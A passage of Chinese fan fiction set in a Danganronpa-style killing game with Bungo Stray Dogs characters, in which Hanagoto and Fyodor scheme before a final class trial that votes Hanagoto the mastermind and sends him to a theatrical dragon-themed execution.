黑白熊特意给他们只做茶泡饭的原因、图书馆历史书籍中完整到如另一个世界般的记录、数据室控制中枢的废弃、花言与黑白熊之间的针锋相对、花言对这场自相残杀有些内幕的了解、花言学生文件中的空白、被直播给他人的学园生活、他们顶替的身份、礼物盒中茶泡饭旁边的校长专用手册、笔记本中称呼的转变。 一切线索,都在打开花言储物柜时得到了某种串联。 现在更是在花言的回避与惊讶间得到了验证。 对方果然是他们之中异常的存在。 “你现在还能再问我一次那个问题吗?”花言认真地向对方发问。 费奥多尔知道对方在指什麽,也看得出对方看似认真背后的随意,他踩上通往一楼的楼梯,回望居高临下站在楼梯口处俯视他的少年。 以相同的口吻询问:“如果我问了,您该不会在更改回答的同时趁机把我推下楼梯灭口吧?” 费奥多尔没等到花言回答,他余光率先注意到一楼走廊出现的屏幕,其中黑白熊的面前放着一碗热气腾腾的茶泡饭,后者布偶质的小圆手里拿着勺子挖起了满满一勺往嘴里塞,只不过布偶又没有嘴巴怎麽可能吃的到饭,于是那满满一勺茶泡饭连茶汤带饭一同洒在了对方身上。 黑白熊似被烫到般在椅子上乱蹦,怒气冲冲地对他们进行通知。 “你们这些没动力、没欲望、又不思进取,贪图安逸的懒惰家夥!都给我到体育馆来!校长我现在有一件非常重要的事情要宣布!” 说完屏幕“啪”得一声暗了下去,花言听着对方一连用了五个侮辱词汇的话语,两步并作一步地跳下楼梯,停在费奥多尔身边,颇为感叹。 “它气疯了。” “它似乎是想提前进入最后阶段。” 费奥多尔说出了可能性最大的结论。 两人一同前往体育馆前,心照不宣地将寄宿区二楼的楼梯口又恢复了锁上的模样,伪装出一副没有人踏入的假象。 哪怕知道黑白熊固定的开会地点都是在体育馆,但在又一次推开大门,看见里面数道模糊的轮廓时,花言还是不免有些感到厌倦。 显然黑白熊也对看他们一成不变的搜查厌倦无比,它站在讲台上,环顾着体育馆,像是在轻点人数。 确认所有人都到齐,才说起这一次找他们的目的。 “既然第四层已经开放,那大家应该都知道在这里的校园生活是全程直播的这件事了。” 黑白熊不知道从哪掏出了一个手绢,故作悲伤地擦拭着眼角,“老实说,现在收视率十分低迷,观众想看的不是你们偷袭打到自己人滑稽戏剧、不是真善美团结一致的夥伴情、不是保镖守护老板、不是虚空索敌到处检查蛛丝马迹、更不是吃播!” 说着黑白熊开始逐一攻击他们所有人,越细数越愤怒,直到最后演都不演了,“观众想看的是会让人热血沸腾的死亡和揭露犯罪行径过程中的紧张刺激!你们这些家夥懂不懂节目爆点所在啊?!” 被首个攻击的果戈里视线下意识开始查找害得他攻击到自己人的罪魁祸首,看见目标后他拉着西格玛果断凑了过去,选择性忽略了黑白熊滔滔不绝的控诉。 其他人当然也不愿意听,太宰治懒洋洋地举起手,“抱歉啊,校长,你找我们难道是想让我们装作杀成血流成河的样子来帮你增加收视率吗?” 花言沉默了一下,回想起自己的学院系列角色,觉得黑白熊的收视率没救了,就算他们真杀得血流成河,收看直播的人也不会超过二十个。 “装作?我可没时间再陪你们这些家夥过家家,校长我已经明白了,无论我怎麽努力,你们这些家夥都是一旦遇到点未知就会退缩的胆小鬼,既然这样,不如节约我们彼此的时间。” 黑白熊伸出手臂指向台下众人,一字一句地宣布,“接下来游戏将会进入最终环节!这场游戏的幕后黑手就在你们之中,如果想要结束,就把他找出来吧!限时一个小时,一个小时之后将会开启最终的学级裁判!” 黑白熊宣布完这个消息刚想离开,只见台下又有人伸起了手,仔细一看发现又是太宰治。 “校长,你是不是忘记了什麽?校园还没对我们全部开放呢,信息不全我们怎麽找出幕后黑手?”太宰治说着又像是想到了什麽,“难道说,其他的楼层其实并不重要?” “你们不是很会钻空子吗?那就自己去想办法,又或者去求助一下其他能够打开楼层的同伴展现你们的团结吧!” 黑白熊现在看见跟花言一块炸开第四层的同夥就不高兴,它干脆利落地跳进了讲台里,不再理会任何声音。 太宰治若有所思地收回视线,看向花言所在的方向。 怎麽听黑白熊的话,像是他们之中已经有谁踏入了他们未能打开的楼层? 体育馆内安静了片刻,人群中有人发出一声不确定的猜测。 “难道这是随我们怎麽打开的意思吗?” 第84章 体育馆内众人相继离去,直到最后只留下四人。 对于果戈里来说,这场自相残杀游戏怎样都好,黑白熊拿出什麽都无所谓,不过后者的最后一句话让他想起了分别一段时间的花言和费奥多尔。 直觉告诉他这两人肯定有什麽秘密。 他更换了位置,插在两人间隙之间,摆出一副探究的表情,来回转头,看了看花言,又看了看费奥多尔。 只可惜这两人心理素质都十分强大,定力也非常好,没露出任何破绽,同样也没有主动开口提及任何事。 像是不约而同地无视了他。 果戈里忍受不了这种近乎是冷场的氛围,他目光下移,发现费奥多尔原本包扎好的左手绷带上渗出了一点血迹。 “陀思君,你的伤口没有包扎好吗?” 费奥多尔顺着对方的话,抬起手看了一眼,他的伤口愈合的并不算快,稍微用点力就会渗血,因此这应该是他之前把花言放床上时不小心撕裂了伤口。 “可能是我后面跟花言一同来体育馆时不小心弄伤的,花言眼睛不方便,听见黑白熊的通知时太过着急,险些撞到墙,我拉了他一下,也许是因为这一点扯到了伤口。” 费奥多尔随口编织出了一个谎言,他看向花言,“您能陪我去下医务室吗?” 因对方而扯到伤口,让对方陪同再正常不过。 花言知道费奥多尔可能是有什麽话想跟他说,欣然点头,“可以。” 赶在果戈里开口之前,费奥多尔率先进行分工,“花言陪我去医务室就可以了,为了不浪费时间,能麻烦你们去搜索有关幕后黑手的线索吗?” 果戈里没有第一时间回答,他饶有兴致地在花言与费奥多尔之间扫视,最终还是给两人让出了空间。 “当然——没问题!搜索幕后黑手线索的事情,就交给我和西格玛吧!” 果戈里的嗓音一如既往的热情,西格玛所散发出的气息也一如既往的生无可恋。 花言目送那两道白色的轮廓逐渐远去,直到完全消失在视野中,身侧的人才出声。 “我们也走吧。” 花言点了点头,“嗯。” 去往医务室的路上他们没遇见其他人,这可能是因为一楼开放了太久,任何可能有线索的地方都已经被探寻过了,相比之下四楼和未开放的五楼更值得注意的缘故,没有人会将时间浪费在这里。 花言推开医务室的门,轻车熟路地从抽屉里翻找出了绷带,回头望向费奥多尔,后者正在将门合拢。 “我来帮你包扎吧,你一只手也不方便。” 花言说着又去柜子里看看有没有什麽止血、止疼之类的药物可以用,打开柜子时不出意外地发现里面药物都空了一大半,消失的那些药物大概率都是带有麻醉效果的。 费奥多尔没有拒绝花言的好意,他应了一声,安静地坐在椅子上等待,见对方打开了柜子试图找药,好心提醒。 “这里没有毒药,如果想要达成毒药那种效果,您需要去四楼的化学室,里面的化学制品可以帮到您。” “嗯?”花言下意识发出一声不明所以的疑惑单音,抽出一丝注意到对方身上,明白了对方的意思,“我只是在找止血止疼之类的药,毕竟你伤口不是又裂开了吗?” 他拿起从外表来看有几分符合要求的小药瓶,“不过,这里好像没有任何能够止疼的药物,止血的好像也不多,你到底是浪费了多少麻醉药物啊……” 听见对方隐晦的指责,费奥多尔本就苍白现在更是因为失血而显出病态的脸上流露出几分无辜,“我只是考虑到您的‘幸运’,所以想尽量减少误差的可能而已。” 花言轻而易举地听出了对方这番话里想要开脱的意图,或者说,对方其实没有想要认真开脱的意思,这麽说只是为了想要从他的反应里得到什麽想要的信息。 花言捧着一堆瓶瓶罐罐走到对方面前,然后松手。 各种塑料与玻璃外壳的小药瓶坠落时相互碰撞,发出清脆或沉闷的声响,全部落在了费奥多尔腿上,后者下意识伸手拢住,以防这些东西会滚落在地。 花言见没有一个落在地上,满意地点头,“知道了,‘谋略家’,快点看看里面有没有能给你用的药。” 费奥多尔略有些幽怨地抬头看了对方一眼,随后又低头开始一一辨识对方找出来的药。 花言由于眼睛上蒙着纱布,看不清具体的字,找药都是依照记忆中的外形找的,这堆药物外观看起来近乎一模一样,费奥多尔翻找了半天,找出了一瓶勉强可以用在伤口的止血药递给了对方。 花言接过药瓶,顺带将其他瓶瓶罐罐都放了回去,才回头给对方重新上药包扎。 原本缠绕好的绷带被一圈圈解开,露出苍白手掌上那道皮肉外翻的伤口,费奥多尔当时似乎被瓷片刮的挺严重,这道伤口从食指指根处开始一直蔓延到靠近手腕的掌根。 花言拧开药瓶抖出粉末洒在正缓缓溢血的伤口处,撒下去的粉末很快浸染上殷红,这让他回想起这样处理似乎并不能让伤口尽快愈合,不过这里条件受限,作为临时处理的话,这样就足够了。 费奥多尔乖顺地维持着同一个姿势没动,让花言能够空出两只手拉开绷带。 在他转头从桌面拿过绷带的那一刻,只听费奥多尔忽然问道。 “这样真的好吗?” “什麽?” 花言回头看向对方,后者仍旧坐在椅子上,手上的药粉也没有洒落,头微微抬起,似乎也正望着自己。 “您很了解我,通过我宿舍中的东西,您应该也明白了我的想法,您的‘才能’对于我的计划来说十分棘手。因此我一定会利用寄宿区二楼的信息,如果继续任由我行动,您一个小时后就会被当作‘幕后黑手’处刑,这样真的好吗?” 费奥多尔微微歪头,挽在耳边的碎发顺着他的动作滑落在脸颊边,“现在他们都在四楼,或者是在想方设法开启五楼,如果您想动手,现在还来得及。” “然后在学级裁判里被当作凶手处刑吗?” 花言语气有些无奈,一直弯着腰有点累,他干脆握着对方手腕拉低,单膝蹲在对方面前,雪白的绷带粘贴对方伤口。 费奥多尔看似是在提醒他,甚至再一次给他提供合适的下手时机,但事实上他根本没有选择的余地。 他杀了对方就会在学级裁判里被当作凶手处刑,而如果不杀,现在这种局面,无论是绑架,还是下毒让对方说不出话,又或者是用药物摧毁对方的精神,自己最终都会成为嫌疑最大的幕后黑手。 花言发出纯粹的感叹,“你还真是坏心眼。” 明明对方也明白这一点,还故意装作给他机会什麽的。 费奥多尔看着对方剪断绷带开始打结,模糊地轻声抱怨,“有点紧。” 花言好脾气地给对方解开又重新系。 费奥多尔视线从手上移到了蹲在自己身前细心为自己包扎伤口的白发少年身上,后者披在肩头的斗篷和发稍一同在身后地面铺陈,像是一捧雪。 平静的反应仿佛对他所说的事情并不担忧,直到现在这种时候也没有露出一丝一毫的愤怒与绝望。 他心底的疑惑更甚,“普通人这种时候应该都会找怨恨的人、或是害他陷入这种境地的罪魁祸首泄愤吧?就算是被当作凶手处刑,您也算是……唔,拉了个垫背的?是这样说的吗?” 花言深深叹了口气,知道对方不得到答案不会罢休。 “你已经看见了‘你’写的笔记,也认为我就是里面的‘他’。既然‘我在找你’,那你有没有想过……” 他抬起头,唇边带着一缕笑意,似真似假般吐露出平静的原因,“我愿意帮助你完成你的计划、让你‘独自毕业’呢?” 费奥多尔眼眸微微睁大,神秘瑰丽的紫罗兰色中倒映出一片纯白的色彩。 大脑在因惊讶而短暂空白后,迅速反应过来了对方话语背后的含义。 ——对方趁他独自在寄宿区二楼搜索的间隙里,按照他计划中的最后一步,使用了他宿舍里的东西。 “您……” 费奥多尔启唇刚发出一个单音,又似乎是觉得没有再验证一次的必要,剩余的话语化为了眉眼间纯粹的笑意。 对方很了解自己,也应该明白用情感来诱骗他改变主意是不可能的事,因此对方这句话并不都是虚假的谎言,换句话说,花言确实有想要这麽做的意向存在。 同样的,对方亦真亦假的语气也是在提醒他别忘记那份特殊的“才能”。 对方不一定会死在处刑中,他也不一定会如愿,参考他手上的伤,以及西格玛和果戈里的遭遇,最后的结果会是怎样的发展还不得而知。 像是一场对未知结果的赌局。 还说他坏心眼,明明对方也不遑多让。 真的一点亏都不肯吃。 费奥多尔似无奈般轻轻笑了一声,“如果您没意见,我会将寄宿区二楼的钥匙以一种不会让人起疑心的方式,送到其他人手中。” 花言相信对方的能力,对此没有异议,他撑着膝盖站起身,把对方从椅子上赶走,自己坐下。 “我在这里等你,或者一会儿学级裁判上见。” 费奥多尔总觉得从他用麻醉药物守株待兔了对方开始,后者在某些时候对他的态度就变得有些不客气了起来,没到生气的地步,更像是在衡量着一点点回报当时他给对方所造成的不悦。 这让费奥多尔想到了镜子,或者是天枰。 他展现出什麽样的态度,对方就会以怎样的态度应对他。放上去什麽样的东西,对方也会放上同样的筹码。 或许坏心眼的人确实不是对方。 费奥多尔微微走神了一瞬,收拢思绪看向靠坐在椅子上的花言。 “晚点见,花言。” 第85章 花言无聊地望着医务室墙上挂着的钟,模糊轮廓的条形指针一点点地在浅色调的钟盘上移动,直到近乎走过一圈。 墙面落下黑白熊的通知,提醒他们时间到了,让他们去参加学级裁判。 花言起身走向门口,在即将靠近门扉的那一刻,医务室的门被人急匆匆地推开,略有些急促的喘息蔓延在这处空间。 “看起来花费了不少时间呢。” 花言预料到对方会去很久,但他没想到对方会特意赶在学级裁判开始前几分钟来找自己。 是被果戈里他们问起了吗?毕竟果戈里在体育馆时毫不遮掩地对他们表现出了明确的怀疑。 “嗯,果戈里稍微有点麻烦。” 话是这样说,但费奥多尔语气中却没多少苦恼的意思。 他平复了一下呼吸,一边跟对方一同去往参加学级裁判的场地,一边说明情况。 “五楼的东西对您有些不利,看起来黑白熊也想将您推到‘幕后黑手’的位置上处刑。” 从医务室到电梯间的距离并不远,而电梯只会在存活者到齐时启动,因此一旦拐过拐角走上那条走廊,就会暴露在所有人的视线中。 为了节约时间的同时避免纰漏,费奥多尔的语速比平时要快上一些,“他们的效率有点快,人太多我没办法放置钥匙,又遇上了果戈里,他向我问起了您,我对他说——因为在寄宿区二楼发现了一点东西,所以才会借跟您一起去医务室的时候确认这一点……” 眼见即将拐过回廊,费奥多尔停止了话语,他知道对方一定能够明白。 果不其然,身侧披着雪白斗篷的少年微微颔首。 “我知道了。” 花言明白对方会特意在学级裁判前折回医务室的原因了,原来是他被安排了一个“幕后黑手发现有人抓住了自己的破绽而恼羞成怒试图灭口结果反被关在医务室”的剧本。 走过拐角,电梯间在走廊尽头亮着橘色调的灯光,数道层层叠叠的人影也映入眼帘。 花言跟在费奥多尔身后踏入电梯间,神色一如既往的平静。 电梯被启动往下坠落,摇晃的灯光从上至下洒在每个人身上,气氛安静得出奇。 花言耳畔仿佛还在回响费奥多尔刚刚的提醒,不合时宜地走神,幸好现在他看不清东西,不然他现在或许就会发现——西马达,大家看我的视线变得冰冷了起来。* 电梯到达指定楼层发出“叮”的一声轻响,门向两边拉开,猩红的大厅内一如既往的阴森,竖在其中的照片也从一张变成了两张,立原道造照片上画着的赤红颜料形状一短一长,像是一把手枪与军刀。 黑白熊趴在椅子上,鼻子冒着鼻涕泡泡,像是因为等他们太久,困得睡着了。 听见脚步声,漂浮在半空中的泡泡瞬间破裂,黑白熊从椅子上坐起身,“嗯?大家都已经来了啊。” 它揉了揉眼睛,想到接下来要发生的事情就激动得兴奋不已,“你们为了拿到更多的线索已经无所不用其极将学园所有地方都调查了个遍,也应该近乎已经解开这所学园的谜团了吧。对于‘幕后黑手究竟是谁’这个问题,你们是不是也有所答案了呢?” “我宣布,昭示结束的学级裁判开始!” 黑白熊高举双臂,试图炒热氛围而欢呼,只可惜在场根本没有一个人在意。 “在这之前,校长,我有个问题想要确认一下。”太宰治悠悠举手,“你确定‘幕后黑手’真的在现场的我们——十四个人之中吗?” “当然了。”黑白熊理所应当地点头,旋即又反应过来对方会问这个问题的原因,气愤地在座位上左右蹬脚,“你这是什麽意思?太宰治同学?是在怀疑校长我玩文本游戏骗你们吗?这种事情只有你们这些家夥才会做!” 这点语言攻击对太宰治来说根本不痛不痒,他毫不在意地将手插回风衣口袋里,“那就好。” 黑白熊迫不及待地询问:“想好从哪开始了吗?” “当然当然——!”果戈里率先出声,他转头看向花言和费奥多尔,语气充满了对于未知的好奇,“花言花言,你为什麽没有趁陀思君把你从医务室放出来的时候偷袭他?” 花言:? 其他人:? 费奥多尔:…… 花言露出有些费解的神色,“我为什麽要偷袭他?” “因为——陀思君说他很早就有点怀疑你了,在第四层刚被炸开的时候,他看见你从第四层回到了一楼,用不知道从哪得到的钥匙打开了通往寄宿区二楼的楼梯口,进入了寄宿区二楼,他等了好一段时间,才等到你从寄宿区二楼下来,关上门后你去了一楼垃圾室。 可能是由于垃圾室焚化炉被频繁使用了太多次——嗯嗯,这可能是我们都在利用焚化炉烧一些自己的小秘密吧,比如说光盘和后面没用上的写着不为人知秘密的信纸之类的?” 果戈里稍稍偏离了一点话题,嗓音又很快重新变得活泼欢快,继续复述费奥多尔给他的说辞。 “总之焚化炉并没有被完全启动,陀思君在里面捡到了那把钥匙,并且在寄宿区二楼发现了一些这样那样的信息。 为了验证猜想,他在体育馆里支开了我们,独自一人跟你一同去医务室确认,然后在你即将暴起灭口的时候!他早有准备地拿出了麻醉药物!一个扬手让你陷入昏迷,死里逃生的陀思君马不停蹄地将你关在医务室,来找我们汇合,一同揭开你身为幕后黑手的真面目!” 果戈里前半段话说的还算正常,后半段语调抑扬顿挫,明显有些添油加醋,刻意夸大了。 听得花言好半晌才从脑补出的震撼场面中回过神,“你好像已经确认我是幕后黑手了?” “嗯嗯~”果戈里摊开双手摆了摆,一副无奈的样子,“毕竟你也没有想要反驳陀思君那些话的意思,而且从寄宿区二楼的东西来看——花言,我们之中最神秘的只有你哦。” 说到这里,果戈里的表情又变得严肃了起来,“糟糕!论起‘神秘’,花言你该不会比我更适合当这个‘超高校级的魔术师’吧?!” 花言没有再理会果戈里后面念叨的什麽“可恶,输了”之类的抱怨,他选择性地回复了对方的第一句话,“难道我说,费奥多尔说的都是假的,是他先找到了进寄宿区二楼的钥匙,故意伪造那些东西用来栽赃我,你就会信吗?” 果戈里愣住,果戈里缓缓陷入思考。 不仅是果戈里,在场近小半人都陷入了思考,仿佛还真有这种可能。 突然动摇起来的氛围不仅看得花言陷入了沉默,连带着费奥多尔也一同失语。 “原来如此!”果戈里左拳砸进右掌,语气透着夸张过头的心有余悸,“好险,差点就被陀思君骗过去了!幕后黑手原来是陀思君!” 花言:。 花言难得无言看向费奥多尔,虽然前者双眼被雪白的纱布遮盖,但费奥多尔仍旧能够从对方的表情里看出对方的意思——想要冤枉他简直轻而易举。 费奥多尔沉默地转过了头,假装没看出来。 沉吟许久的太宰治没有被果戈里乱七八糟的发言搅乱思绪,他看向花言,“那把钥匙,是你在校长室找到的吗?” 花言不置可否地笑了一声,“谁知道呢?你也怀疑我是幕后黑手吗?” “老实说,我其实并不相信你是幕后黑手。” 太宰治坦然地说出了自己的想法,“你跟黑白熊无疑是对立面,这一点我们所有人都有目共睹,你也答应了要跟我们一同合作尽快结束这场自相残杀游戏,三楼与四楼都是你炸开的,甚至连你在数据室得知那些信息后的崩溃和绝望也不像是装的。所以我很奇怪你为什麽会到幕后黑手这个位置上去,还是说,是你在寄宿区二楼发现的东西让你想起了什麽?” 花言并未回答对方这个问题,而是直接反问,“你们打开了五楼吗?” “嗯。”太宰治发出一声单音表示肯定,“由于我们没有你那种近乎是赖皮的‘才能’,没办法赌究竟能不能无视校规,再加上黑白熊后面补充的规则,打开第五层费了我们不少功夫呢。” 花言回忆了一下黑白熊添加的那十几条校规,没想到这样都能让对方从中找到漏洞,也难怪黑白熊会没耐心直接开启最终环节,原来是料到了这种情况吗?还是黑白熊已经懒得计较对方玩文本游戏钻空子的事了?所以才让太宰治他们顺利打开第五层? “你们在五楼发现了什麽?” “因为时间紧迫,打开第五层后,所有人都是按照各自的队伍分头搜索的,我们只搜索了第五层的教室。” 太宰治先跟对方解释了一下,才继续说明,“那间教室跟其他楼层的教室不同,像是爆发了某种大混战,到处都是血迹与武器留下的痕迹,在这种一片狼藉的情况下,讲台抽屉里居然还有一卷录像带。” 花言下意识复述了一遍这个令他有些在意的词汇,“录像带?” 在他的记忆里,五楼教室应该没有这种东西才对。 在场没有去过那间教室的其他人也投来了好奇的目光。 太宰治应了一声,从口袋里掏出那卷录像带,“我们去视听室看过了,里面是一段战斗记录,大致是学生版的我们跟一些小混混之类的敌人战斗?” 太宰治也有点不确定,他放弃了详细描述,“录像糊的就像是被人丢进洗衣机里狠狠清洗了一样,能够看出来的东西也只有这些。” 听着有些耳熟,花言缓缓扭头再次看向了费奥多尔。 后者也恰到好处地开口,“我在寄宿区二楼也发现了相同的录像,只不过那段录像里的敌人是mafia一样的组织。” “真的假的……”中原中也有些难以置信地出声,“涉世未深的学生打持枪的mafia吗?” “我知道哦!” 果戈里兴致勃勃地插入话题,不知道从哪掏出了一堆笔记,像是撒花般扬起,雪白的纸张在半空中发出“哗哗”声响。 “属于学生版‘我们’的笔记中有说明原因——!顺带一提,花言没有笔记~!” “果戈里。”被笔记砸到头的花言捏着笔记忍无可忍地提醒,“不要乱丢东西啊!” “对不起……花言……”果戈里试图蒙混过关,双手合十朝花言表达了歉意。 场内的众人或是伸手在半空中抓住了笔记,或是从地上捡到了笔记,果戈里是随机撒的,因此他们拿到的不一定都是“自己”的笔记,其中没有过多的内容,他们在翻阅完手中的笔记后,会自然地跟周围人互换从中得到更多的讯息。 花言为了显得合群,随手将笔记递给了一旁的费奥多尔,后者看了眼,发现对方捡到的刚好是“自己”的笔记。 考虑到其中某些内容的特殊,费奥多尔主动挑起话题,转移了其他人的注意,也打断了这场互换。 “笔记中记录着似乎有谁带着‘我们’不断穿梭在各个平行世界、参与战斗并见到其他平行世界的‘自己’,还能提供含有力量的特殊食物让‘我们’能够与其他世界的敌人抗衡。” “而且而且~”果戈里又从斗篷里掏出了一张相片,“我们还在寄宿区二楼发现了一张多人照~!” 太宰治被吸引了注意,看清照片内容的那一刻,他明白果戈里为什麽会用“多人照”而不是“合照”称呼了,“看起来隔壁学校的学生没有被邀请啊,中间的空位是给谁留的呢?是你吗?花言?” “也许?”花言再次给予了对方模棱两可的答案。 太宰治眉头微皱,他看向果戈里,“还有其他的吗?” 后者相当配合地欣然点头,“当然,我们还在校长房间暗室里发现了一个礼物盒,里面放着一碗茶泡饭,不过——我尝了一下,发现是普通的茶泡饭,没有特殊的力量。” 花言:…… “你还真敢尝啊,不怕吃中毒吗?” 那都不知道放了多久了。 果戈里手舞足蹈地试图解释,“因为它看起来很干净,跟单纯是冷掉的茶泡饭完全一样嘛,而且都怪那些笔记里描述的太诱人了,像是魔法一样,吃下去就能获得媲美异能的能力什麽的——!” 太宰治思索着再次看向花言,“你之前说——能告诉我你在校长室销毁的文件具体内容,现在这句承诺还作数吗?” “作数。”花言毫不犹豫地回答,旋即又补充道:“除了我以外的,都可以告诉你,不过,你想知道的肯定不是其他人文件吧?” 太宰治难得感受到了某种疲惫,对方根本没有想要遮掩自己的异常之处的想法,以目前的局势来看,他们之中最为违和的,也只有对方了。 条野采菊见太宰治似乎是没话说了,他提出了一个新的疑点。 “我们在五楼生物实验室的冰柜里没有发现尸体,与谢野晶子和立原的尸体都不在里面,虽然这里是类似于梦境一样的存在,不会有尸体也很正常,但是他们死亡的时候可都是有尸体的,那麽那些尸体去哪了呢?抑或是,在这里死亡等同于精神死亡,尸体等同于最后意识残留之类的存在,当最后的意识消散,这里的尸体就会消失,也会在‘现实世界’彻底死去?” “听起来像是游戏一样,用完就被刷新了。”坂口安吾吐槽出声。 花言显然不会给予回答,更何况他也不知道这个问题的答案。 条野采菊知道这个问题的答案只能从对方身上得到,既然对方不回答,那他们也没什麽办法。 这个问题也不是非弄清楚不可,只要不影响最后的结果就好。 “笔记中的内容、那两段战斗录像、照片里空出的身影、给被顶替了身份那些人的直播,啊……还有他对这场自相残杀的了解,这些加在一起,结果已经很明显了吧?” 条野采菊捏着下巴,缓缓说出结论,“花言就是幕后黑手,这一切都是他的自导自演而已。” “这种能力听起来很厉害啊。”福地樱痴欣赏地看向花言,“你究竟是怎麽做到的?” 这个问题他能编!终于等到这个时候了! 花言轻轻笑了一声,“很简单,有“书”就可以。” 话音落下,在场众人表情都发生了不同的变化。 坂口安吾下意识质疑,“这怎麽可能?!“书”早就被封印起来了,没有人知道它的位置!” “我可没说是你们世界的“书”。” 花言正在努力摸索如何当个反派,他轻描淡写地说道:“是其他世界的“书”,既然在“书页”上写的内容会成真,会偏离原本既定的发展轨迹,那众多“书页”加在一起的、完整版的“书”自然可以做到在各个世界之间穿梭,而其他世界也存在着它们所拥有的“书”,只要得到“书”够多,我当然可以做到这一切。” 反正在座的人中也没人真正拿到过整本的“书”,他可以随便编。 “但是……” 太宰治还是对花言是幕后黑手这件事存疑,他甚至觉得费奥多尔是幕后黑手的可能性都比对方要大。 “如果这一切真的是你自导自演的,那为什麽你会失忆呢?” 问得好,花言也不知道。 “可能是因为只有这样才能骗过你们吧。”他选择了一个最为合适的说辞,“毕竟你们都挺敏锐的,如果我没失忆,那肯定第一眼就被发现了。” “可是——花言你失忆的并不彻底哦,你之前的反应分明就像是认识我们一样。”果戈里忽然又开始给花言洗白。 花言对果戈里的反复无常已经习以为常,他熟练地找了个借口解释,“失忆的太彻底,我回想起来的一瞬间肯定会被一堆记忆冲击得昏迷。” “奇怪啊……如果那家夥是幕后黑手,那为什麽他会跟黑白熊对立?” 中原中也回想起为数不多跟花言在图书馆门口产生接触的时候,当时对方正在追捕黑白熊。 “他们不该其乐融融的才对吗?” “他不是已经说了吗?因为失忆了,当时肯定也不记得自己是幕后黑手这件事,所以一心想要离开这里也很正常吧。” 大仓烨子抱着手臂,歪了下脑袋,似回忆般,“况且,这个布偶看起来还是拥有自我意识运转的人工智能,没人操纵会出现一视同仁敌我不分的情况也不是不可能……也有可能是他在没失忆前自己设置的呢——为了不暴露骗过我们什麽的。” “要是考虑到这一点,黑白熊会突然开启最终的学级裁判也很奇怪呢。”条野采菊若有所思地说道:“它明明可以继续跟我们耗下去,直到我们之中有人为了离开而开始新一轮的自相残杀,为什麽要让我们查找幕后黑手呢?这样不就暴露了吗?” “时间不够吧。”费奥多尔填补了这个疑点,“它之前不是说了‘收视率’之类的话吗?通常来说,收视率太过低迷的节目会被切掉,因此这句话既有可能是在暗指这场自相残杀游戏有一定的时间限制。” 果戈里发出一声惊恐的叫声,“哇呜!因为时间不够用了,所以干脆开启最终的学级裁判,看我们能不能找出幕后黑手,如果不能就会被全员处刑吗?!好可怕——!” 太宰治听见这句话觉得有哪里不太对,但是无论是花言,还是费奥多尔,表情都十分平静,以至于那点不对劲很快被更大的违和感盖过。 “花言。” 最终,太宰治提及了一个看似无关紧要的问题,“你还说等找到幕后黑手要给他好果子吃呢,现在又不给了吗?” 花言没想到对方还记得这件事,他微微侧头,随口回答,“我正在给我自己好果子吃。” 太宰治:…… 太宰治真的没话说了。 “开玩笑的。”花言说出了难得的真话,“如果是他们在看的话,就没关系。” 既然时间已经过去了那麽久,那他一定已经把学院卡角色都刷满了信任值什麽的,这样一来,就算他秘密暴露、就算都是一片马赛克,他相信他们也不会嘲笑自己的。 这句真话让太宰治心底疑虑更深。 没等他继续问些什麽,审判席上的黑白熊没耐心了,它布偶质的小圆腿敲了敲椅子。 “已经讨论的差不多了吧?你们怀疑幕后黑手是花言同学对吧?好了,那现在差不多可以开始投票了。” 黑白熊站起身,急不可耐地催促。 “用你们身边的按钮投票吧!” 投票时间一如既往的短暂,在此刻却显得像是故意不想给他们过多的思考时间似的。 心中的纠结与违和都在倒计时中转瞬即逝。 近乎是在倒计时归零的那一秒,黑白熊立即宣布了投票结果。 “花言同学十票,费奥多尔同学四票,看起来你们的意见不统一啊,不过没关系,投票机制是少数服从多数,所以——被认定为幕后黑手的是花言同学!” 太宰治敏锐注意到了黑白熊此刻话语中用词与之前的不同之处,对方并没有说这个结果是否正确,而是仅仅只宣告了他们投票结果。 不止太宰治注意到了,近乎大半人都注意到了这个细微的不同。 只是他们来不及提出更多的问题,黑白熊飞快落下了锤子砸在从地面升起的红色按钮上,宣告处刑开始。 血色窗帘后一如既往地伸出了一枚铁环,只不过尴尬的是这枚铁环并没能扣在花言身上,可能是这所校园存在的历史有点古老,导致机关出现了点故障,铁环伸到一半忽然落下,不偏不倚砸到了花言身侧果戈里的头上。 “好痛!” 猝不及防受到暴击的果戈里发出一声夸张的痛呼。 气氛难得尴尬。 黑白熊仿佛受到了挑衅,从椅子上跳起倾尽全力再一次用力砸下了手中的锤子。 这一次更换了入场方式,花言脚下的地板骤然消失,失重感一瞬间席卷,灯光在模糊的视野中不断缩小,气流扬起雪白的长发,披在肩头的斗篷包裹着他不断坠落。 花言依照感觉稍微调整了一下姿势,最终安然无恙地落在了地面。 脚下踩着的东西似乎是木板,挪动脚步时会发出腐朽的“嘎吱”声,模糊的视野看不清周围昏暗的环境。 但跟着跑到处刑场地查看情况的其他人却能从黑暗中隐约识别出掩藏在其中的大致轮廓。 那像是一个舞台,一个粗制滥造的、透着古老与腐朽气息的木制舞台,而花言就站在舞台之上,雪白的少年与粗糙简陋的背景成反比,像是王子掉进垃圾堆一样违和。 周围灯光倏地亮起,无数黑白熊坐在舞台下的木制小板凳上,面对舞台摇晃着身体,背对其他人。 伴随着灯光与观众的到位,如生锈齿轮在强行运转的声音在宛如默剧般的舞台上回响,一个通体木质的龙逐渐出现,与此同时,龙的对面也出现了无数木制的黑白熊。 只是无论是这只用于表演的龙,还是那些黑白熊,外表都十分破旧,也没有上漆,甚至还出现了不同程度的缺口裂痕,充满了敷衍与潦草。 那些黑白熊抬头看向身形比它们大上几倍的龙,似在好奇的观察,又像是意识到了危险,在龙展开双翼的时候惊慌逃窜,一缕一缕火焰从木制龙张开的嘴里喷射而出,落在木制黑白熊身上很快燃起大火,它们逃得更快了。 花言听着身后不断传来的“嘎吱”声,有些好奇到底是个什麽处刑,他回过头看向身后,就在他扭头的一瞬间,身后的木制龙忽然轰然倒塌,而原本在惊慌失措逃跑的木制黑白熊也围绕在了他身边,似欢呼般举起双手来回跳动。 这是在干什麽? 花言缓缓扣出一个问号,他又把头扭了回来看向观众席上的正常黑白熊,结果这一眼发现那些黑白熊开始逃窜了。 花言:? 花言再次看向身后,白色调的视野里伸起了一双木制龙翼,那些木制黑白熊也已经倒在了地上,一簇簇比之前不知道大了几倍的火焰从他上方喷射而出,无差别地攻击着观众席上的黑白熊。 他有些明白这个处刑是什麽了。 原来是屠龙少年终成恶龙的故事。 花言不出意外地看着观众席上的黑白熊掏出长枪和弓箭反击,无数锋利的长枪朝他刺来,没命中,闪烁着寒光的箭如流星般朝他射来,还是没命中。 